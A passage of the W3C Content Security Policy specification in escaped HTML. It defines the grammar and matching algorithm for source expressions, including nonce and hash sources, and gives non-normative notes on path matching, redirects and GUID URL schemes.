data-noexport=\"\" id=\"source_expression\">source-expression<a class=\"self-link\" href=\"#source_expression\"></a></dfn> = <a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a> / <a data-link-type=\"dfn\" href=\"#host_source\">host-source</a> / <a data-link-type=\"dfn\" href=\"#keyword_source\">keyword-source</a> / <a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a> / <a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_source\">scheme-source<a class=\"self-link\" href=\"#scheme_source\"></a></dfn>     = <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \":\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_source\">host-source<a class=\"self-link\" href=\"#host_source\"></a></dfn>       = [ <a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a> \"://\" ] <a data-link-type=\"dfn\" href=\"#host_part\">host-part</a> [ <a data-link-type=\"dfn\" href=\"#port_part\">port-part</a> ] [ <a data-link-type=\"dfn\" href=\"#path_part\">path-part</a> ]\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"keyword_source\">keyword-source<a class=\"self-link\" href=\"#keyword_source\"></a></dfn>    = \"'self'\" / \"'unsafe-inline'\" / \"'unsafe-eval'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"base64_value\">base64-value<a class=\"self-link\" href=\"#base64_value\"></a></dfn>      = 1*( ALPHA / DIGIT / \"+\" / \"/\" )*2( \"=\" )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_value\">nonce-value<a class=\"self-link\" href=\"#nonce_value\"></a></dfn>       = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_value\">hash-value<a class=\"self-link\" href=\"#hash_value\"></a></dfn>        = <a data-link-type=\"dfn\" href=\"#base64_value\">base64-value</a>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"nonce_source\">nonce-source<a class=\"self-link\" href=\"#nonce_source\"></a></dfn>      = \"'nonce-\" <a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_algo\">hash-algo<a class=\"self-link\" href=\"#hash_algo\"></a></dfn>         = \"sha256\" / \"sha384\" / \"sha512\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"hash_source\">hash-source<a class=\"self-link\" href=\"#hash_source\"></a></dfn>       = \"'\" <a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a> \"-\" <a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a> \"'\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"scheme_part\">scheme-part<a class=\"self-link\" href=\"#scheme_part\"></a></dfn>       = &lt;scheme production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.1\">RFC 3986, section 3.1</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_part\">host-part<a class=\"self-link\" href=\"#host_part\"></a></dfn>         = \"*\" / [ \"*.\" ] 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> *( \".\" 1*<a data-link-type=\"dfn\" href=\"#host_char\">host-char</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"host_char\">host-char<a class=\"self-link\" href=\"#host_char\"></a></dfn>         = ALPHA / DIGIT / \"-\"\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"path_part\">path-part<a class=\"self-link\" href=\"#path_part\"></a></dfn>         = &lt;path production from <a href=\"https://tools.ietf.org/html/rfc3986#section-3.3\">RFC 3986, section 3.3</a>>\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"port_part\">port-part<a class=\"self-link\" href=\"#port_part\"></a></dfn>         = \":\" ( 1*DIGIT / \"*\" )\n</pre>\n     \n\n\n     <p>If the policy contains a <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression, the\n    server MUST generate a fresh value for the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code>\n    directive at random and independently each time it transmits a policy.\n    The generated value SHOULD be at least 128 bits long (before encoding),\n    and generated via a cryptographically secure random number generator.\n    This requirement ensures that the <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> is\n    difficult for an attacker to predict.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: Using a nonce to whitelist inline script or style is less secure than\n    not using a nonce, as nonces override the restrictions in the directive in\n    which they are present. An attacker who can gain access to the nonce can\n    execute whatever script they like, whenever they like. That said, nonces\n    provide a substantial improvement over <code>'unsafe-inline'</code> when\n    layering a content security policy on top of old code. When considering\n    <code>'unsafe-inline'</code>, authors are encouraged to consider nonces (or\n    hashes) instead.</p>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#host_char\">host-char</a></code> production intentionally contains only\n    ASCII characters; internationalized domain names cannot be entered\n    directly into a policy string, but instead MUST be Punycode-encoded\n    <a data-link-type=\"biblio\" href=\"#biblio-rfc3492\">[RFC3492]</a>. For example, the domain <code>üüüüüü.de</code> would be\n    encoded as <code>xn--tdaaaaaa.de</code>.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">NOTE: Though IP addresses do match the grammar above, only\n    <code>127.0.0.1</code> will actually match a URL when used in a source\n    expression (see <a href=\"#match-source-expression\">§4.2.2 Matching Source Expressions</a> for details). The security\n    properties of IP addresses are suspect, and authors ought to prefer\n    hostnames to IP addresses whenever possible.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.1\" id=\"source-list-parsing\"><span class=\"secno\">4.2.1. </span><span class=\"content\">Parsing Source Lists</span><a class=\"self-link\" href=\"#source-list-parsing\"></a></h4>\n      \n\n\n      <p>To <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"parse-a-source-list\">parse a source list<a class=\"self-link\" href=\"#parse-a-source-list\"></a></dfn>\n      <var>source list</var>, the user agent MUST use an algorithm\n      equivalent to the following:</p>\n      \n\n      \n      <ol>\n        \n       <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">Strip leading and trailing whitespace</a> from\n        <var>source list</var>.\n       \n\n        \n       <li>If <var>source list</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a>\n        for the string <code>'none'</code> (including the quotation\n        marks), return the empty set.\n       \n\n        \n       <li>Let <var>set of source expressions</var> be the empty\n        set.\n       \n\n        \n       <li>For each token returned by\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces\">splitting <var>source\n        list</var> on spaces</a>, if the token matches the grammar for\n        <code><a data-link-type=\"dfn\" href=\"#source_expression\">source-expression</a></code>, add the token to the <var>set\n        of source expressions</var>.\n       \n\n        \n       <li>Return the <var>set of source expressions</var>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Characters like U+003B SEMICOLON (<code>;</code>) and\n      U+002C COMMA (<code>,</code>) cannot appear in source expressions\n      directly: if you’d like to include these characters in a source\n      expression, they must be <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-encode\">percent\n      encoded</a> as <code>%3B</code> and <code>%2C</code> respectively.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.2\" id=\"match-source-expression\"><span class=\"secno\">4.2.2. </span><span class=\"content\">Matching Source Expressions</span><a class=\"self-link\" href=\"#match-source-expression\"></a></h4>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-expression\">match a source expression<a class=\"self-link\" href=\"#match-a-source-expression\"></a></dfn> for\n      a <var>protected resource</var> if the following algorithm returns\n      <em>does match</em>:</p>\n      \n\n      \n      <ol>\n        \n       <li>\n          Let <var>url</var> be the result of processing the URL through the\n          <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-parser\">URL parser</a>.\n        \n       \n\n        \n       <li>\n          If the source expression a consists of a single U+002A ASTERISK\n          character (<code>*</code>), and <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is not\n          one of <code>blob</code>, <code>data</code>, <code>filesystem</code>,\n          then return <em>does match</em>.\n        \n       \n\n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#scheme_source\">scheme-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n              match</a> for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>, return <em>does match</em>.\n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does not match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>\n          If the source expression matches the grammar for\n          <code><a data-link-type=\"dfn\" href=\"#host_source\">host-source</a></code>:\n\n          \n        <ol>\n            \n         <li>\n              If <var>url</var>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a> is <code>null</code>,\n              return <em>does not match</em>.\n            \n         \n            \n         <li>\n              Let <var>url-scheme</var>, <var>url-host</var>, and\n              <var>url-port</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>, <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-host\">host</a>, and\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-port\">port</a> of <var>url</var>’s origin, respectively.\n\n\n          <p class=\"note\" role=\"note\">Note: If <var>url</var> doesn’t specify a port, then its origin’s\n              port will be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url</var>’s\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>.</p>\n          \n            \n         \n            \n         <li>\n              Let <var>url-path-list</var> be the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-path\">path</a> of <var>url</var>.\n            \n         \n            \n         <li>\n              If the source expression has a <code><a data-link-type=\"dfn\" href=\"#scheme_part\">scheme-part</a></code>\n              that is not a case insensitive match for <var>url-scheme</var>,\n              then return <em>does not match</em>.\n            \n         \n            \n         <li>\n              If the source expression does <strong>not</strong> have a\n              scheme, return <em>does not match</em> if any of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  the scheme of the protected resource’s URL is a case\n                  insensitive match for <code>HTTP</code>, and\n                  <var>url-scheme</var> is <strong>not</strong> a case\n                  insensitive match for either <code>HTTP</code> or\n                  <code>HTTPS</code>\n                \n           \n                \n           <li>\n                  the scheme of the protected resource’s URL is\n                  <strong>not</strong> a case insensitive match for\n                  <code>HTTP</code>, and <var>url-scheme</var> is\n                  <strong>not</strong> a case insensitive match\n                  for the scheme of the protected resource’s URL.\n                \n           \n              \n          </ol>\n          \n            \n         \n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is an U+002A ASTERISK character\n              (<code>*</code>) and the remaining characters, including the\n              leading U+002E FULL STOP character (<code>.</code>), are not a\n              case insensitive match for the rightmost characters of\n              <var>url-host</var>, then return <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the first character of the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> is <em>not</em> an U+002A ASTERISK\n              character (<code>*</code>) and <var>url-host</var> is not a\n              case insensitive match for the source expression’s\n              <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code>, then return <em>does not\n              match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression’s <code><a data-link-type=\"dfn\" href=\"#host_part\">host-part</a></code> matches\n              the <code><a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc3986#section-3.2.2\">IPv4address</a></code> production from <a data-link-type=\"biblio\" href=\"#biblio-rfc3986\">[RFC3986]</a>,\n              and is not <code>127.0.0.1</code>, or is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-ipv6\">IPv6 address</a>,\n              return <em>does not match</em>.\n\n\n          <p class=\"note\" role=\"note\">Note: A future version of this specification may allow literal\n              IPv6 and IPv4 addresses, depending on usage and demand. Given the\n              weak security properties of IP addresses in relation to named\n              hosts, however, authors are encouraged to prefer the latter\n              whenever possible.</p>\n          \n            \n         \n\n            \n         <li>\n              If the source expression does <strong>not</strong> contain\n              a <code>port-part</code> and <var>url-port</var> is not the\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#default-port\">default port</a> for <var>url-scheme</var>, then return\n              <em>does not match</em>.\n            \n         \n\n            \n         <li>\n              If the source expression does contain a <code>port-part</code>,\n              then return <em>does not match</em> if both of the following\n              are true:\n\n              \n          <ol>\n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  contain an U+002A ASTERISK character (<code>*</code>)\n                \n           \n                \n           <li>\n                  <code><a data-link-type=\"dfn\" href=\"#port_part\">port-part</a></code> does <strong>not</strong>\n                  represent the same number as <var>url-port</var>\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              If the source expression contains a non-empty\n              <code><a data-link-type=\"dfn\" href=\"#path_part\">path-part</a></code>, and the URL is <em>not</em> the\n              result of a redirect, then:\n\n              \n          <ol>\n                \n           <li>\n                  Let <var>exact-match</var> be <code>true</code> if the final\n                  character of <var>path-part</var> is not the U+002F SOLIDUS\n                  character (<code>/</code>), and <code>false</code> otherwise.\n                \n           \n\n                \n           <li>\n                  Let <var>source-expression-path-list</var> be the result of\n                  splitting <var>path-part</var> on the U+002F SOLIDUS character\n                  (<code>/</code>).\n                \n           \n\n                \n           <li>\n                  If <var>source-expression-path-list</var>’s length is greater\n                  than <var>url-path-list</var>’s length, return <em>does not\n                  match</em>.\n                \n           \n\n                \n           <li>\n                  For each <var>entry</var> in\n                  <var>source-expression-path-list</var>:\n\n                  \n            <ol>\n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> <var>entry</var>.\n                    \n             \n                    \n             <li>\n                      <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#percent-decode\">Percent decode</a> the first item in\n                      <var>url-path-list</var>.\n                    \n             \n                    \n             <li>\n                      If <var>entry</var> is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                      match</a> for the first item in <var>url-path-list</var>,\n                      return <em>does not match</em>.\n                    \n             \n                    \n             <li>\n                      Pop the first item in <var>url-path-list</var> off the\n                      list.\n                    \n             \n                  \n            </ol>\n            \n                \n           \n\n                \n           <li>\n                  If <var>exact-match</var> is <code>true</code>, and\n                  <var>url-path-list</var> is not empty, return <em>does not\n                  match</em>.\n                \n           \n              \n          </ol>\n          \n            \n         \n\n            \n         <li>\n              Otherwise, return <em>does match</em>.\n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          If the source expression is a case insensitive match for\n          <code>'self'</code> (including the quotation marks), then:\n\n          \n        <ol>\n            \n         <li>\n              Return <em>does match</em> if <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the\n              origin of <var>url</var></a> matches\n              <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/url/#concept-url-origin\">the origin of <var>protected\n              resource</var>’s URL</a>.\n\n\n          <p class=\"note\" role=\"note\">Note: This includes IP addresses. That is, a document at\n              <code>https://111.111.111.111/</code> with a <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> of\n              <code>img-src 'self'</code> can load the image\n              <code>https://111.111.111.111/image.png</code>, as the origins\n              match.</p>\n          \n            \n         \n          \n        </ol>\n        \n        \n       \n\n        \n       <li>\n          Otherwise, return <em>does not match</em>.\n        \n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: This algorithm treats the URLs <code>https://example.com/</code>\n      and <code>https://example.com./</code> as <em>non-matching</em>. This\n      is consistent with browser behavior which treats documents served from\n      these URLs as existing in distinct origins.</p>\n      \n\n\n      <p>A URL <var>url</var> is said to <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"match-a-source-list\">match a source list<a class=\"self-link\" href=\"#match-a-source-list\"></a></dfn> for\n      <var>protected resource</var> if at least one source expression in the set\n      of source expressions obtained by <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the\n      source list</a> <a data-link-type=\"dfn\" href=\"#match-a-source-expression\">matches <var>url</var>\n      for <var>protected resource</var></a>.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: No URLs match an empty set of source expressions, such as the set\n      obtained by parsing the source list <code>'none'</code>.</p>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.1\" id=\"source-list-guid-matching\"><span class=\"secno\">4.2.2.1. </span><span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span><a class=\"self-link\" href=\"#source-list-guid-matching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>As defined above, special URL schemes that refer to specific pieces of\n        unique content, such as \"data:\", \"blob:\" and \"filesystem:\" are\n        excluded from matching a policy of <code>*</code> and must be\n        explicitly listed. Policy authors should note that the content of\n        such URLs is often derived from a response body or execution in a\n        Document context, which may be unsafe. Especially for the\n        <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n        directives, policy authors should be aware that allowing \"data:\" URLs\n        is equivalent to <code>unsafe-inline</code> and allowing \"blob:\" or\n        \"filesystem:\" URLs is equivalent to <code>unsafe-eval</code>.</p>\n       \n      \n      </section>\n      \n\n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.2\" id=\"source-list-path-patching\"><span class=\"secno\">4.2.2.2. </span><span class=\"content\">Path Matching</span><a class=\"self-link\" href=\"#source-list-path-patching\"></a></h5>\n       \n\n\n       <p><em>This section is not normative.</em></p>\n       \n\n\n       <p>The rules for matching source expressions that contain paths\n        are simpler than they look: paths that end with the <code>'/'</code>\n        character match all files in a directory and its subdirectories. Paths\n        that do not end with the <code>'/'</code> character match only one\n        specific file. A few examples should make this clear:</p>\n       \n\n        \n       <ol>\n          \n        <li>The source expression <code>example.com</code> has no path,\n          and therefore matches any file served from that host.\n        \n\n          \n        <li>The source expression <code>example.com/scripts/</code>\n          matches any file in the <code>scripts</code> directory of\n          <code>example.com</code>, and any of its subdirectories. For\n          example, both <code>https://example.com/scripts/file.js</code>\n          and <code>https://example.com/scripts/js/file.js</code> would\n          match.\n        \n\n          \n        <li>The source expression\n          <code>example.com/scripts/file.js</code> matches only the file\n          named <code>file.js</code> in the <code>scripts</code> directory\n          of <code>example.com</code>.\n        \n\n          \n        <li>Likewise, the source expression <code>example.com/js</code>\n          matches only the file named <code>js</code>. In particular, note\n          that it would not match files inside a directory named\n          <code>js</code>. Files like <code>example.com/js/file.js</code>\n          would be matched only if the source expression ended with a\n          trailing \"/\", as in <code>example.com/js/</code>.\n        \n        \n       </ol>\n       \n\n\n       <p class=\"note\" role=\"note\">Note: Query strings have no impact on matching: the source\n        expression <code>example.com/file</code> matches all of\n        <code>https://example.com/file</code>,\n        <code>https://example.com/file?key=value</code>,\n        <code>https://example.com/file?key=notvalue</code>, and\n        <code>https://example.com/file?notkey=notvalue</code>.</p>\n       \n      \n      </section>\n      \n      \n      <section class=\"informative\">\n        \n       <h5 class=\"heading settled\" data-level=\"4.2.2.3\" id=\"source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3. </span><span class=\"content\">Paths and Redirects</span><a class=\"self-link\" href=\"#source-list-paths-and-redirects\"></a></h5>\n       \n\n\n       <p>To avoid leaking path information cross-origin (as discussed\n        in Egor Homakov’s\n        <a href=\"http://homakov.blogspot.de/2014/01/using-content-security-policy-for-evil.html\">Using Content-Security-Policy for Evil</a>),\n        the matching algorithm ignores the path component of a source\n        expression if the resource being loaded is the result of a\n        redirect. For example, given a page with an active policy of\n        <code><a data-link-type=\"dfn\" href=\"#img_src\">img-src</a> example.com not-example.com/path</code>:</p>\n       \n\n        \n       <ul>\n          \n        <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.\n        \n          \n        <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.\n        \n          \n        <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.\n        \n        \n       </ul>\n       \n\n\n       <p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n       \n\n\n       <p>The relatively long thread\n        <a href=\"http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html\">\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n       \n      \n      </section>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.3\" id=\"script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3. </span><span class=\"content\">\n        The <code>nonce</code> attribute\n      </span><a class=\"self-link\" href=\"#script-src-the-nonce-attribute\"></a></h4>\n      \n\n\n      <p>Nonce sources require a new <code>nonce</code> attribute to be added to\n      both <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements.</p>\n      \n\n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLScriptElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlscriptelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlscriptelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"script\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-script-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-script-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n      \n      <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n</pre>\n      \n      \n      <dl>\n        \n       <dt><dfn class=\"idl-code\" data-dfn-for=\"HTMLStyleElement\" data-dfn-type=\"attribute\" data-export=\"\" id=\"dom-htmlstyleelement-nonce\">nonce<a class=\"self-link\" href=\"#dom-htmlstyleelement-nonce\"></a></dfn>, <span> of type <a data-link-type=\"idl-name\" href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a></span>\n       \n        \n       <dd>This attribute <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#reflect\">reflects</a> the value of the\n        element’s <code><dfn data-dfn-for=\"style\" data-dfn-type=\"element-attr\" data-export=\"\" id=\"element-attrdef-style-nonce\">nonce<a class=\"self-link\" href=\"#element-attrdef-style-nonce\"></a></dfn></code>\n        content attribute.\n       \n      \n      </dl>\n      \n\n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.4\" id=\"source-list-valid-nonces\"><span class=\"secno\">4.2.4. </span><span class=\"content\">Valid Nonces</span><a class=\"self-link\" href=\"#source-list-valid-nonces\"></a></h4>\n      \n\n\n      <p>An element has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-nonce\">valid nonce<a class=\"self-link\" href=\"#valid-nonce\"></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute\n      after <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace\">stripping leading\n      and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=\"dfn\" href=\"#nonce_value\">nonce-value</a></code> component of at least one\n      <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n      \n    \n     </section>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"4.2.5\" id=\"source-list-valid-hashes\"><span class=\"secno\">4.2.5. </span><span class=\"content\">Valid Hashes</span><a class=\"self-link\" href=\"#source-list-valid-hashes\"></a></h4>\n      \n\n\n      <p>An <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"elements-content\">element’s content<a class=\"self-link\" href=\"#elements-content\"></a></dfn> is <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\">the script block’s\n      source</a> for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements, or the value of the element’s\n      <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#dom-node-textcontent\">textContent</a></code> IDL attribute for non-<code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements such as\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code>.</p>\n      \n\n\n      <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"digest-of-elements-content\">digest of <var>element</var>’s content<a class=\"self-link\" href=\"#digest-of-elements-content\"></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=\"dfn\" href=\"#elements-content\">element’s content</a>.</p>\n      \n\n\n      <p>To determine whether <var>element</var> has a <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"valid-hash\">valid hash<a class=\"self-link\" href=\"#valid-hash\"></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n      \n\n      \n      <ol>\n        \n       <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> expressions in <var>set of source\n        expressions</var>.\n       \n\n        \n       <li>For each <var>hash</var> in <var>hashes</var>:\n          \n        <ol>\n            \n         <li>Let <var>algorithm</var> be:\n              \n          <ul>\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_256\">SHA-256</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha256\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_384\">SHA-384</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha384\"\n           \n\n                \n           <li><a data-link-type=\"dfn\" href=\"#sha_512\">SHA-512</a> if the <code><a data-link-type=\"dfn\" href=\"#hash_algo\">hash-algo</a></code>\n                component of <var>hash</var> is an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive\n                match</a> for the string \"sha512\"\n           \n              \n          </ul>\n          \n            \n         \n\n            \n         <li>Let <var>expected</var> be the <code><a data-link-type=\"dfn\" href=\"#hash_value\">hash-value</a></code>\n            component of <var>hash</var>.\n         \n\n            \n         <li>Let <var>actual</var> be the\n            <a href=\"https://tools.ietf.org/html/rfc4648#section-4\">base64\n            encoding</a> of the binary <a data-link-type=\"dfn\" href=\"#digest-of-elements-content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.\n         \n\n            \n         <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.\n         \n          \n        </ol>\n        \n        \n       \n        \n       <li>Return <strong>false</strong>.\n       \n      \n      </ol>\n      \n\n\n      <p class=\"note\" 